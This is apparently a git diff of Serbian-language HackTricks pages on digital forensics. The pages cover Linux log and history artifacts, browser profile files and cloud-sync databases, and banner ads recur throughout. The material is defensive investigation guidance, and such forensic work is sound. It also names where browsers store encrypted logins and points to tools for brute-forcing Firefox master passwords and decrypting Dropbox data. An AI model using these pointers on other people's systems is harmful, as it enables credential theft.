Linux sistemi logove i podsisteme za reviziju mogu biti onemogućeni ili obrisani u slučaju upada ili incidenta sa malverom. Pošto logovi na Linux sistemima generalno sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom pregleda dostupnih log fajlova, važno je tražiti praznine ili nepravilne unose koji bi mogli biti indikacija brisanja ili manipulacije.
|
||||
{% endhint %}
|
||||
|
||||
**Linux čuva istoriju komandi za svakog korisnika**, smeštenu u:
|
||||
|
||||
* \~/.bash\_history
|
||||
* \~/.zsh\_history
|
||||
* \~/.zsh\_sessions/\*
|
||||
* \~/.python\_history
|
||||
* \~/.\*\_history
|
||||
- \~/.bash\_history
|
||||
- \~/.zsh\_history
|
||||
- \~/.zsh\_sessions/\*
|
||||
- \~/.python\_history
|
||||
- \~/.\*\_history
|
||||
|
||||
Takođe, komanda `last -Faiwx` pruža listu korisničkih prijava. Proverite je za nepoznate ili neočekivane prijave.
|
||||
|
||||
Proverite datoteke koje mogu dati dodatne privilegije:
|
||||
Proverite fajlove koji mogu dati dodatne privilegije:
|
||||
|
||||
* Pregledajte `/etc/sudoers` za neočekivane korisničke privilegije koje su možda dodeljene.
|
||||
* Pregledajte `/etc/sudoers.d/` za neočekivane korisničke privilegije koje su možda dodeljene.
|
||||
* Ispitajte `/etc/groups` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole.
|
||||
* Ispitajte `/etc/passwd` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole.
|
||||
- Pregledajte `/etc/sudoers` za neočekivane korisničke privilegije koje su možda dodeljene.
|
||||
- Pregledajte `/etc/sudoers.d/` za neočekivane korisničke privilegije koje su možda dodeljene.
|
||||
- Ispitajte `/etc/groups` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole.
|
||||
- Ispitajte `/etc/passwd` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole.
|
||||
|
||||
Neki programi takođe generišu svoje logove:
|
||||
|
||||
* **SSH**: Ispitajte _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene konekcije.
|
||||
* **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupljene fajlove putem Gnome aplikacija.
|
||||
* **Firefox/Chrome**: Proverite istoriju pretrage i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti.
|
||||
* **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, poput putanja do pristupljenih fajlova i istorije pretrage.
|
||||
* **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane fajlove.
|
||||
* **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za prenose fajlova koji bi mogli biti neovlašćeni.
|
||||
* **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, što može otkriti neovlaštene aktivnosti u bazi podataka.
|
||||
* **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane fajlove i izvršene komande.
|
||||
* **Git**: Ispitajte _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima.
|
||||
- **SSH**: Ispitajte _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene konekcije.
|
||||
- **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupljene fajlove putem Gnome aplikacija.
|
||||
- **Firefox/Chrome**: Proverite istoriju pretrage i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti.
|
||||
- **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, poput putanja do pristupljenih fajlova i istorije pretrage.
|
||||
- **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane fajlove.
|
||||
- **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za prenose fajlova koji bi mogli biti neovlašćeni.
|
||||
- **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, što može otkriti neovlaštene aktivnosti u bazi podataka.
|
||||
- **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane fajlove i izvršene komande.
|
||||
- **Git**: Ispitajte _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima.
|
||||
|
||||
### USB Logovi
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) je mali softver napisan u čistom Pythonu 3 koji parsira Linux log datoteke (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) radi konstrukcije tabela istorije USB događaja.
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) je mali softver napisan u čistom Pythonu 3 koji parsira Linux log fajlove (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) radi konstrukcije tabela istorije USB događaja.
|
||||
|
||||
Važno je **znati sve USB uređaje koji su korišćeni** i biće korisnije ako imate autorizovanu listu USB uređaja kako biste pronašli "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi).
|
||||
|
||||
|
@ -337,7 +337,7 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
|||
```
|
||||
Više primera i informacija možete pronaći na github-u: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** podržane najnaprednijim alatima zajednice.\
|
||||
|
@ -347,26 +347,26 @@ Pristupite danas:
|
|||
|
||||
## Pregled Korisničkih Računa i Aktivnosti Prijavljivanja
|
||||
|
||||
Pregledajte _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne dnevnike** za neuobičajena imena ili naloge kreirane i/ili korišćene u blizini poznatih neovlašćenih događaja. Takođe, proverite moguće brute-force napade putem sudo-a.\
|
||||
Pregledajte _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne dnevnike** za neobična imena ili naloge kreirane i/ili korišćene u blizini poznatih neovlašćenih događaja. Takođe, proverite moguće brute-force napade putem sudo-a.\
|
||||
Takođe, proverite datoteke poput _**/etc/sudoers**_ i _**/etc/groups**_ za neočekivane privilegije date korisnicima.\
|
||||
Na kraju, potražite naloge bez **šifri** ili sa **lako pogodnim** šiframa.
|
||||
|
||||
## Pregledajte Sistem Datoteka
|
||||
## Pregledajte Fajl Sistem
|
||||
|
||||
### Analiza Struktura Sistem Datoteka u Istraživanju Malvera
|
||||
### Analiza Struktura Fajl Sistema u Istraživanju Malvera
|
||||
|
||||
Prilikom istraživanja incidenata sa malverom, struktura sistem datoteka je ključan izvor informacija, otkrivajući kako se događaji odvijaju i sadržaj malvera. Međutim, autori malvera razvijaju tehnike koje otežavaju ovu analizu, poput modifikacije vremena datoteka ili izbegavanja sistema datoteka za skladištenje podataka.
|
||||
Prilikom istraživanja incidenata sa malverom, struktura fajl sistema je ključan izvor informacija, otkrivajući kako se događaji odvijaju i sadržaj malvera. Međutim, autori malvera razvijaju tehnike koje otežavaju ovu analizu, poput modifikacije vremena fajlova ili izbegavanja fajl sistema za skladištenje podataka.
|
||||
|
||||
Da biste se suprotstavili ovim anti-forenzičkim metodama, bitno je:
|
||||
|
||||
* **Sprovesti temeljnu analizu vremenske linije** koristeći alate poput **Autopsy** za vizualizaciju vremenskih linija događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskoj liniji.
|
||||
* **Istražiti neočekivane skripte** u $PATH sistemu, koje mogu uključivati skripte ljuske ili PHP skripte korišćene od strane napadača.
|
||||
* **Pregledati `/dev` za atipične datoteke**, jer tradicionalno sadrži specijalne datoteke, ali može sadržati datoteke povezane sa malverom.
|
||||
* **Tražiti skrivene datoteke ili direktorijume** sa imenima poput ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koje mogu sakriti zlonamerni sadržaj.
|
||||
* **Identifikovati setuid root datoteke** korišćenjem komande: `find / -user root -perm -04000 -print` Ovo pronalazi datoteke sa povišenim dozvolama, koje bi mogle biti zloupotrebljene od strane napadača.
|
||||
* **Pregledati vremena brisanja** u inode tabelama kako biste primetili masovna brisanja datoteka, što može ukazivati na prisustvo rootkita ili trojanaca.
|
||||
* **Ispitati uzastopne inode** za bliske zlonamerne datoteke nakon identifikacije jedne, jer su možda postavljene zajedno.
|
||||
* **Proveriti zajedničke binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane datoteke, jer bi ih malver mogao promeniti.
|
||||
* **Pregledati `/dev` za atipične fajlove**, jer tradicionalno sadrži specijalne fajlove, ali može sadržati fajlove povezane sa malverom.
|
||||
* **Tražiti skrivene fajlove ili direktorijume** sa imenima poput ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koji bi mogli sakriti zlonamerni sadržaj.
|
||||
* **Identifikovati setuid root fajlove** korišćenjem komande: `find / -user root -perm -04000 -print` Ovo pronalazi fajlove sa povišenim dozvolama, koje napadači mogu zloupotrebiti.
|
||||
* **Pregledati vremena brisanja** u tabelama inode-a kako biste primetili masovna brisanja fajlova, što može ukazivati na prisustvo rootkita ili trojanca.
|
||||
* **Ispitati uzastopne inode-e** za bliske zlonamerne fajlove nakon identifikacije jednog, jer su možda postavljeni zajedno.
|
||||
* **Proveriti zajedničke binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane fajlove, jer bi ovi fajlovi mogli biti promenjeni od strane malvera.
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
@ -375,12 +375,12 @@ ls -laR --sort=time /bin```
|
|||
ls -lai /bin | sort -n```
|
||||
````
|
||||
{% hint style="info" %}
|
||||
Imajte na umu da **napadač** može **izmeniti** **vreme** da bi **datoteke izgledale** **legitimno**, ali ne može izmeniti **inode**. Ako primetite da **datoteka** pokazuje da je kreirana i izmenjena u **istom vremenu** kao i ostale datoteke u istom folderu, ali je **inode** **neočekivano veći**, onda su **vremenske oznake te datoteke izmenjene**.
|
||||
Imajte na umu da **napadač** može **izmeniti** **vreme** da bi **datoteke izgledale** **legitimno**, ali ne može da izmeni **inode**. Ako primetite da **datoteka** pokazuje da je kreirana i izmenjena u **istom vremenu** kao i ostale datoteke u istom folderu, ali je **inode** **neočekivano veći**, onda su **vremenske oznake te datoteke izmenjene**.
|
||||
{% endhint %}
|
||||
|
||||
## Uporedite datoteke različitih verzija fajl sistema
|
||||
|
||||
### Sažetak uporedbe verzija fajl sistema
|
||||
### Sažetak Uporedbe Verzija Fajl Sistema
|
||||
|
||||
Da biste uporedili verzije fajl sistema i precizno odredili promene, koristimo pojednostavljene `git diff` komande:
|
||||
|
||||
|
@ -416,22 +416,22 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od početka do naprednog nivoa sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF-u**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
**Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
**Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako kreirali i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice na svetu.\
|
||||
Pristupite danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -8,16 +8,16 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -34,7 +34,7 @@ Evo sažetka najčešćih artifakata pregledača:
|
|||
* **Proširenja i dodaci**: Proširenja pregledača ili dodaci instalirani od strane korisnika.
|
||||
* **Keš**: Čuva veb sadržaj (npr. slike, JavaScript fajlove) radi poboljšanja vremena učitavanja sajtova, vredno za forenzičku analizu.
|
||||
* **Prijave**: Sačuvane prijavne informacije.
|
||||
* **Favikoni**: Ikone povezane sa veb sajtovima, koje se pojavljuju u tabovima i obeleživačima, korisne za dodatne informacije o posetama korisnika.
|
||||
* **Favikoni**: Ikone povezane sa sajtovima, prikazuju se u tabovima i obeleživačima, korisne za dodatne informacije o posetama korisnika.
|
||||
* **Sesije pregledača**: Podaci vezani za otvorene sesije pregledača.
|
||||
* **Preuzimanja**: Zapisi fajlova preuzetih putem pregledača.
|
||||
* **Podaci o obrascima**: Informacije unete u veb obrasce, sačuvane za buduće predloge automatskog popunjavanja.
|
||||
|
@ -43,7 +43,7 @@ Evo sažetka najčešćih artifakata pregledača:
|
|||
|
||||
## Firefox
|
||||
|
||||
Firefox organizuje korisničke podatke unutar profila, smeštenih na specifičnim lokacijama zavisno od operativnog sistema:
|
||||
Firefox organizuje korisničke podatke unutar profila, čuvajući ih na specifičnim lokacijama zavisno od operativnog sistema:
|
||||
|
||||
* **Linux**: `~/.mozilla/firefox/`
|
||||
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
|
@ -64,12 +64,12 @@ Unutar svake fascikle profila, možete pronaći nekoliko važnih fajlova:
|
|||
* **cache2/entries** ili **startupCache**: Keš podaci, pristupačni putem alata poput [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
|
||||
* **favicons.sqlite**: Čuva favikone.
|
||||
* **prefs.js**: Korisnička podešavanja i preferencije.
|
||||
* **downloads.sqlite**: Starija baza podataka preuzimanja, sada integrisana u places.sqlite.
|
||||
* **downloads.sqlite**: Starija baza preuzimanja, sada integrisana u places.sqlite.
|
||||
* **thumbnails**: Slike pregleda veb sajtova.
|
||||
* **logins.json**: Šifrovane prijavne informacije.
|
||||
* **key4.db** ili **key3.db**: Čuva ključeve za šifrovanje osetljivih informacija.
|
||||
|
||||
Dodatno, proveru anti-phishing podešavanja pregledača možete obaviti pretragom unosa `browser.safebrowsing` u `prefs.js`, što ukazuje da li su funkcije sigurnog pregledanja omogućene ili onemogućene.
|
||||
Dodatno, provera anti-phishing podešavanja pregledača može se obaviti pretragom unosa `browser.safebrowsing` u `prefs.js`, što ukazuje da li su funkcije sigurnog pregledanja omogućene ili onemogućene.
|
||||
|
||||
Za pokušaj dešifrovanja glavne lozinke, možete koristiti [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
|
||||
Pomoću sledećeg skripta i poziva možete specificirati fajl sa lozinkom za brute force:
|
||||
|
@ -103,7 +103,7 @@ U ovim direktorijumima, većina korisničkih podataka se može pronaći u fascik
|
|||
- **Favicons**: Čuva favikone veb sajtova.
|
||||
- **Login Data**: Uključuje podatke za prijavljivanje poput korisničkih imena i lozinki.
|
||||
- **Current Session**/**Current Tabs**: Podaci o trenutnoj sesiji pregledanja i otvorenim tabovima.
|
||||
- **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre zatvaranja Chrome-a.
|
||||
- **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre nego što je Chrome zatvoren.
|
||||
- **Extensions**: Direktorijumi za proširenja i dodatke pregledača.
|
||||
- **Thumbnails**: Čuva sličice veb sajtova.
|
||||
- **Preferences**: Fajl bogat informacijama, uključujući podešavanja za dodatke, proširenja, iskačuće prozore, obaveštenja i više.
|
||||
|
@ -127,7 +127,7 @@ Alat [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) omoguć
|
|||
|
||||
### Upravljanje kolačićima
|
||||
|
||||
Kolačići se mogu istražiti korišćenjem [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), pri čemu metapodaci obuhvataju imena, URL-ove, broj pristupa i različite detalje vezane za vreme. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići nalaze u memoriji.
|
||||
Kolačiće možete istražiti korišćenjem [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), pri čemu metapodaci obuhvataju imena, URL-ove, broj pristupa i različite detalje vezane za vreme. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići nalaze u memoriji.
|
||||
|
||||
### Detalji preuzimanja
|
||||
|
||||
|
@ -153,7 +153,7 @@ Microsoft Edge čuva korisničke podatke u `%userprofile%\Appdata\Local\Packages
|
|||
|
||||
## Safari
|
||||
|
||||
Podaci iz Safari-ja se čuvaju na lokaciji `/Users/$User/Library/Safari`. Ključni fajlovi uključuju:
|
||||
Podaci Safari pregledača se čuvaju na lokaciji `/Users/$User/Library/Safari`. Ključni fajlovi uključuju:
|
||||
|
||||
- **History.db**: Sadrži tabele `history_visits` i `history_items` sa URL-ovima i vremenima poseta. Koristite `sqlite3` za upite.
|
||||
- **Downloads.plist**: Informacije o preuzetim fajlovima.
|
||||
|
@ -166,12 +166,30 @@ Podaci iz Safari-ja se čuvaju na lokaciji `/Users/$User/Library/Safari`. Ključ
|
|||
|
||||
## Opera
|
||||
|
||||
Podaci iz Operinog pregledača se nalaze u `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i dele format istorije i preuzimanja sa Chrome-om.
|
||||
Podaci Operinog pregledača se nalaze u `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i dele format za istoriju i preuzimanja sa Chrome-om.
|
||||
|
||||
- **Ugrađena anti-phishing za pregledač**: Proverite da li je `fraud_protection_enabled` u fajlu Preferences postavljen na `true` korišćenjem `grep`.
|
||||
|
||||
Ove putanje i komande su ključne za pristupanje i razumevanje podataka o pregledanju čuvanih od strane različitih veb pregledača.
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -14,23 +14,23 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## OneDrive
|
||||
|
||||
U Windows-u, OneDrive folder se može pronaći u `\Users\<korisničko_ime>\AppData\Local\Microsoft\OneDrive`. A unutar `logs\Personal` moguće je pronaći fajl `SyncDiagnostics.log` koji sadrži neke zanimljive podatke u vezi sa sinhronizovanim fajlovima:
|
||||
U Windows-u, možete pronaći OneDrive fasciklu u `\Users\<korisničko_ime>\AppData\Local\Microsoft\OneDrive`. A unutar `logs\Personal` moguće je pronaći fajl `SyncDiagnostics.log` koji sadrži neke zanimljive podatke u vezi sa sinhronizovanim fajlovima:
|
||||
|
||||
* Veličina u bajtovima
|
||||
* Datum kreiranja
|
||||
* Datum modifikacije
|
||||
* Broj fajlova u oblaku
|
||||
* Broj fajlova u folderu
|
||||
* Broj fajlova u fascikli
|
||||
* **CID**: Jedinstveni ID OneDrive korisnika
|
||||
* Vreme generisanja izveštaja
|
||||
* Veličina HD-a OS-a
|
||||
|
@ -39,17 +39,17 @@ Kada pronađete CID, preporučljivo je **pretražiti fajlove koji sadrže ovaj I
|
|||
|
||||
## Google Drive
|
||||
|
||||
U Windows-u, glavni Google Drive folder se može pronaći u `\Users\<korisničko_ime>\AppData\Local\Google\Drive\user_default`\
|
||||
Ovaj folder sadrži fajl nazvan Sync\_log.log sa informacijama poput email adrese naloga, imena fajlova, vremenskih oznaka, MD5 heševa fajlova, itd. Čak i obrisani fajlovi se pojavljuju u tom log fajlu sa odgovarajućim MD5 vrednostima.
|
||||
U Windows-u, možete pronaći glavnu Google Drive fasciklu u `\Users\<korisničko_ime>\AppData\Local\Google\Drive\user_default`\
|
||||
Ova fascikla sadrži fajl nazvan Sync\_log.log sa informacijama poput email adrese naloga, imena fajlova, vremenskih oznaka, MD5 heševa fajlova, itd. Čak i obrisani fajlovi se pojavljuju u tom log fajlu sa odgovarajućim MD5 vrednostima.
|
||||
|
||||
Fajl **`Cloud_graph\Cloud_graph.db`** je sqlite baza podataka koja sadrži tabelu **`cloud_graph_entry`**. U ovoj tabeli možete pronaći **ime** **sinhronizovanih** **fajlova**, vreme modifikacije, veličinu i MD5 kontrolnu sumu fajlova.
|
||||
|
||||
Podaci tabele baze podataka **`Sync_config.db`** sadrže email adresu naloga, putanje deljenih foldera i verziju Google Drive-a.
|
||||
Podaci tabele baze podataka **`Sync_config.db`** sadrže email adresu naloga, putanje deljenih fascikli i verziju Google Drive-a.
|
||||
|
||||
## Dropbox
|
||||
|
||||
Dropbox koristi **SQLite baze podataka** za upravljanje fajlovima. U ovim\
|
||||
Možete pronaći baze podataka u folderima:
|
||||
Možete pronaći baze podataka u fasciklama:
|
||||
|
||||
* `\Users\<korisničko_ime>\AppData\Local\Dropbox`
|
||||
* `\Users\<korisničko_ime>\AppData\Local\Dropbox\Instance1`
|
||||
|
@ -62,9 +62,9 @@ Glavne baze podataka su:
|
|||
* Deleted.dbx
|
||||
* Config.dbx
|
||||
|
||||
Ekstenzija ".dbx" znači da su **baze podataka** **šifrovane**. Dropbox koristi **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
Ekstenzija ".dbx" znači da su **baze podataka enkriptovane**. Dropbox koristi **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
|
||||
Da biste bolje razumeli šifrovanje koje Dropbox koristi, možete pročitati [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||
Da biste bolje razumeli enkripciju koju Dropbox koristi, možete pročitati [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||
|
||||
Međutim, glavne informacije su:
|
||||
|
||||
|
